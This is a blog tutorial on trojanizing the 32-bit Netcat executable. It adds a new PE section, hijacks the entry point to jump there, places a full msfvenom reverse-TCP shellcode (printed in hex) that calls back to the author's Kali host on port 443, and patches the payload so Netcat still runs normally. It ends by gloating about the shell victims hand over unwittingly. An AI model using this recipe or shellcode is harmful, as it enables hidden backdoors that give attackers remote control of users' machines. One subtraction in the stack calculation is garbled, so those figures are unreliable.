BackDooring a PE Binary: Part-1

Khurshid Hassan
15 min readFeb 2, 2020

No ASLR and DEP enabled in software — Second part will bring Binary Backdooring in DEP and ASLR enabled software.

PE binary is something that normally does not required to be installed and work as a standalone program or software.

It gives us ease of executing required program without the requirement of its installation.

Many times we ran into some situation that we need some kind of software to use to complete our some task. For this on the fly we search Google for our requirement.

Google throw plenty of links in front of us with our required software and from one of them we download the software/program/PE binaries and just to complete our work blindly execute it without knowing what this executable downloaded from an unknown source can do to our system and network.

PE binaries can be backdoored with malicious codes to do some malicious task that a normal use can know about. Even a network or a system admin can’t know about this and that’s why every company has its corporate software installation policy that restricts installation or execution to its approved software in the corporate system.


Here is an experimental elaboration of what a backdoored PE can do to us.

For the elaboration purpose I am going to take Netcat 32 bit program and going to backdoor it in 32 bit system.

NetCat is assumed to a Swiss army of network administrators or penetration testers.

Network or system admin use it to test the connectivity of the network services.

Penetration tester goes a little beyond it and uses this to get a command line shell while testing the network and do whatever is required as if they are sitting on a system they are testing. Just like a bash shell or cmd shell someone uses to work on his/his system.

Checking netcat32.exe security status.

PS C:\Users\IEUser\Desktop\nc32_binary_analisys> import-module .\Get-PESecurity.psm
PS C:\Users\IEUser\Desktop\nc32_binary_analisys> Get-PESecurity -File .\nc32.exe

FileName : C:\Users\IEUser\Desktop\nc32_binary_analisys\nc32.exe
ARCH : I386
DotNET : False
ASLR : False
DEP : False
Authenticode : True
StrongNaming : N/A
SafeSEH : False
ControlFlowGuard : False
HighentropyVA : False

Lets have some theory before we jump into its practical implementation.

1. Looking for code cave in target binary to be back doored.
code cave is an area in the PE that is not used by the existing codes of binary.
we can either look for existing code caves. cave miner cane help in this automatically mining the code caves or each PE header can be looked for NULL bytes containing area manually.

Second option is to create a header and assign the size of the code cave in that header and look for the header in memory in debugger to locate the start point of the NULL bytes you filled into.
I have used here section adding technique to backdoored the PE.

2 Highjacking the code execution inside PE.
Note down some instruction from the entry point of the program
Replace the first instruction at the entry point with the start address of the code cave found

3. Savinig the stack values and placing shell code.
When take a Jump to the start of the code cave add the opcode one after another for saving Register and Flag values in the stack
POPAD — Saves Current Register Value
POPFD — Saves Current Flag Value
Step over POPFD and not down the ESP address pointing to it at this moment.
Now after POPFD place shell code of your choice.



4. Realign the stack.
For realigning the stack need to calculate ESP Value as below
First set a break point at the place after last byte of the shell code
Step over the program and let the breakpoint hit it
Where breakpoint hit not down the current state of the ESP register value
Calculation of the Stack realignment
Saved ESP address value — Current ESP address

5. Put back registers value and flags values from realigned stack to its concerned flag and registers.
POPFD — Setting back Flag value first as per FIFO (First in first out) structure of stack
POPAD — Setting back Register Valued to the stack

6. Place the address of the actual entry code and some codes after it of the binary to run actual code as it was intended.
Some code I copied very time before doing anything



→ Some extra efforts to avoid some glitches while backdooring the program.

→ Avoid hanging the original binary due to a WaitForSingleObject winsock API — simply Replace DEC ESI with a NOP
→ Avoid program termination at the end that is caused by the CALL EBP at the last of the shell code — Simply replace CALL EBP with a NOP

Section addition:

load binary in LORDPE and sleet PE Editor then select Section.

Right click on last header and select add header.

New header with name .NewSec added. Select it and right click on it. Select Edit section header

Edit section opens as below.

Select Virtual size and Raw Size and make the size 1000 bytes in both the places.

Click button on the Flags area that will open below windows. by default executable as code, readable and Writable options are checked.
If not checked, need to be checked to make the newly header writable and readable so that shell code and be placed, read and executed.

Now click and save.

Now open new section added PE file in a hex editor of your choice to add 1000 physical bytes to the allocated virtual bytes.

Go to end of the data already in the hex editor and select EDIT > Insert String

Add 1000 hex bytes.

I inserted NOPs instead null bytes here as shown below.

Save the file.

I saved it with name ¨nc32_NOP_added.exe¨. Now open the file in immunity debugger of any debugger of your choice to check the memory address of the newly added section where we can place our shell code

View> Memory
Check for executable name under OWNER column of memory module of immunity
Check for newly added section
look at the address of the section

Below is the copy of address of newly created header in memory module.

Memory map, item 18
Address=0040E000
Size=00001000 (4096.)
Owner=nc32_NOP 00400000
Section=.NewSec
Type=Imag 01001002
Access=RWE CopyOnWr
Initial access=RWE

In the current aspect memory address of the newly added section is 0040E000.

Hijacking code execution flow:

Now it’s time to Hijack the Execution flow

To high jack the actual execution flow of the PE file we will replace the first opcode of the executable at its entry point.

Before that copy 4 to 5 line of opcode and keep it in a notepad to use it later when execution flow will be required to be redirected to the actual and expected Execution flow of the binary after execution of our shell code so that it looks normal when someone executes it.

Few lines from the start of the actual code execution of NetCat binary.

00401160 > $ 55 PUSH EBP
00401161 . 89E5 MOV EBP,ESP
00401163 . 83EC 18 SUB ESP,18
00401166 . C70424 0100000>MOV DWORD PTR SS:[ESP],1
0040116D . FF15 DCB24000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type
00401173 . E8 A8FEFFFF CALL nc32_NOP.00401020
00401178 . 90 NOP

We will replace address of newly added section with the first opcode of the binary at its entry point.

In this case we will replace below address with 0040E000.

00401160 > $ 55 PUSH EBP

To do this Right click at OPPCODE we want to replace in the CPU Window and select Assemble.

Fill the field with Opcode JMP 0040E000.

Save it and see if it is executed in debugger it help us land on the starting address of the newly added section to which we had allotted physical bytes.

After opening saved file with our jump code net cat runs in debugger and held at its starting point to give us control on its execution flow.

Let’s step over the program by pressing F8.

And here is what we had expected are achieved. We landed over the right address 0040E000 but instead being there our NOPs there are some other codes available.

Looks like something went wrong here and it looks like my effort to jump to an intended place in memory and place our hell code has got failed at this level of my understandings as if this is executed further it will run some other code and get access violation error but I will overwrite the codes over these garbage looking codes and see what happens.

Saving register and flag values into the stack.

A little theory is required here to make it more understandable and here it goes.

The entry point address 00401160 after replacement of the oppcode now pointing to our code cave address 0040E000 and ready to take a jump if stepped over.

Lets see….

Stepped over by pressing F8 and its great it made me land in my intended place where I could have placed a shell code of my choice.


Before placing the shell code I needed to do some extra things here
I needed to place some opcode on my JUMP point 0040E000

PUSHAD — To save registers value in Stack
PUSHFD — To save Flags in Stack

After saving the register and flag values I need to note down the current esp register address value that would be used latter in this process.

After execution of the shell code I would place after this when I need to redirect execution flow control to the actual program execution (Net cat’s actual code execution) I will have to realign the stake by by some mathemagical calculations.

More on this on the fly later…..

Now practical implementation starts from here.
Here goes the stuffs mentioned above being save in Stack

Just check above the jump occurred to the code cave where I had places some opcodes for saving register and flag values at this point ESP points to 0028FF8C.

Let me step over these two opcodes and see how ESP value changes.

When I stepped over PUSHFD see how the ESP changes to 0028FF6C .

Now it s final turn to see the ESP changing hence stepped over one more time from there and reach first line after PUSHFD.

After saving the register and flag values to stack Current ESP points to 0028FF4C. This is the ESP value where I have to return back after shell code execution.

Shell Code Placement:

Now it is time to generate my shell code.

192.168.182.131 — My Kali machine running Ncat server (Nmap version of Netcat)

LPORT — 443

root@kali:~# msfvenom — arch x86 — platform windows — payload windows/shell_reverse_tcp LHOST=192.168.182.131 LPORT=443 -f hex
No encoder or bad chars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8b68368020001bb89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd590909090

I added 4 bytes of NOPs at the end of the shell code so that its end could be easily identifiable.

After the last byte of shell code where ESP pointed to was the address — 0028FD48

This was the address that was recalculated to realign the Stack to return to the earlier state where it was before execution of shell code

Finally I set a break point at the NOP after the shell code to check if placed shell code is working.

Ncat listener was opened in my kali box already to receive connection if made by my windows 7 machine.

Executed the codes in debugger by playing it and as expected received the reverse connection in my kali box properly.

Although connection received at kali side but code execution did not hit the break point I had set after the shell code.

If it had hit the break point, on the status bar below it would have notified that break point has been hit at this address but there is no info about break point hit

It looks like still it is waiting to finish some code to reach there.


After searching allot in goole it was found that a win API function WaitforSingleObject is causing the issue that waits for first program to finish and then let the second programs start.
It takes an argument called dwMilliseconds.

It takes a time value in milliseconds and returns the function even if the object state is not signaled to return if the time given is elapsed.
If 0 is passed as value to the argument it teats the object state and returned immediately.

If 1 (\xFFFFFFFF) is passed to it means it would wait for infinity and would never return the function and keep waiting for it to return.

Details on this can be found here.

While continuously stepping over the code and looking for register that is containing FFFFFFF code I came to an end with an instruction DEC ESI that was causing the ESI register to have 1 (FFFFFFFF) as an argument to pass to the culprit WaitforSingleObject Winsock API.

Look at the ESI register containing FFFFFFFF. all bits on here that was to be pushed to Stack and passed to WiatForSingleObject function that will keep waiting for the first program in this case our reverse shell to finish first and then second part of code will be executed in this case original NetCat code.

I simply replaced the DEC ESI with NOP that is nothing but to instruct CPU not to do anything when it reaches this point and simply slide ahead on other instruction.

This solved the problem of hanging the code execution and also at the same time reverse shell also kept working.

Although one issue was solved but still another was waiting for me to scratch my head. Connection was received at kali side properly and code executed further also but at windows side without hitting the break point whole process was getting terminated.

Very strange.

lets see restarting the program in debugger and stepping through it by pressing F8. (No execution of program at a time by pressing F9)

Connection this time also received.

Let’s keeps stepping over this by pressing F8.

look still program is running and not terminated. Status bar down the window still did not say about program termination.

Let’s keeps stepping over this by pressing F8.

No program termination yet as seen above even the code execution reached at the last line of shell code CALL EBP.

Let’s execute this also to see if it is causing the program termination issue or the code execution hit the break point set ahead of this.

After executing the last code of our shell code the code CALL EBP cause the program termination as follows. Status bar of the debugger states this.

After some googling I came to know that last opcode of the shell ”CALL EBP” was the culprit who was terminating the program execution.

For more info please go through this link.

For the time being to over this issue I replaced the last CALL EBP instruction with NOP and all went well. No program termination after this and also program execution reached the break point I had set after it.

Realignment of currant Stack with Old stack:

Its well and good so far now let’s realignment the Stack to that a redirection can be given to the execution of code to return to the saved stack and its saved values

Calculation for ESP Value to return to previous saved state is as follows.

Saved ESP Value - Current ESP Value = Difference (That need to be added to current ESP value)

Saved ESP value — 0028FF4C
Current ESP Value — 0028FD48

Subtracting from saved ESP address value from current ESP address Value returns the value that need to be added to the current ESP address value to make it equal to the saved ESP value.
When code execution happens this calculation is done at run time and after this stack returns to the earlier state where it was before executing the shell code.

0028FF4C - 0028FF4C = 204

Difference is 204 so 204 need to be added to the current value of ESP after shell code.

Current value of ESP after shell code + 204 = ESP value of earlier state when it was saved

0028FD48 + 204 = 0028FF4C (This is the ESP value where the redirection of the code execution has be given after shell code is executed)

In debugger Adding the Difference value to the current ESP value as follows

ADD ESP,204

Now ESP points to the saved state and after this we need to POP back the registers and flag values from the stack to let the stack be as it is as it was before placement of shell code.

POPFD
POPAD

Then this is the time to place the original codes to call NetCat opcodes that we have saved at the start of this code execution high jacking process

PUSH EBP
MOV EBP,ESP
SUB ESP,18
MOV DWORD PTR SS:[ESP],1
CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type
CALL nc32_NOP.00401020

from above saved codes I will use the CALL instruction as below to call for memory address containing original NetCat codes.

CALL 00401020

save the changes in binary and now call the backdoored netcat binary if it works properly with opening a reverse connection to my kali machine as well.

Perfect. It worked very well without any glitch this time.

A reverse connection is also open from windows machine to my kali machine and at the same time NetCat is also running in command line mode.

Let’s give a try running the backdoored NetCat program outside the debugger as we normally do while penetration testing or by a network admin to check network connectivity.

For testing backdoored binary lets first start SSH service at kali side so that from windows machine NetNat connects to it as a normal process and at the same time it should send a reverse shell to kali listening on port 443 already.

SSH service in kali started and running on port 22 as seen above.

Also at the same time kali is listening on port 433.

Let’s execute backdoored NetCat that I had saved with name ¨nc32_Final_call_2.exe¨ and try to connect to SSH service on port 22 ruining on my kali.


Great !!!!!!!!!!!!!!!!!!

Connected to SSH server as expected and it was a normal operation of NetCat.

What the abnormality in this backdoored NetCat execution was to give a reverse shell to my Kali.

that was obvious because a reverse shell was backdoored with it.


So finally you are running a backdoored NetCat service while testing your network connection or performing a penetration test and at the same time I am going to test you through the reverse shell you gave me unwillingly. 😎😎😎

--

--

Khurshid Hassan

A security enthusiast who love to learn breaking the things to know how it works, who loves to develop mind set on how hackers or script kiddies work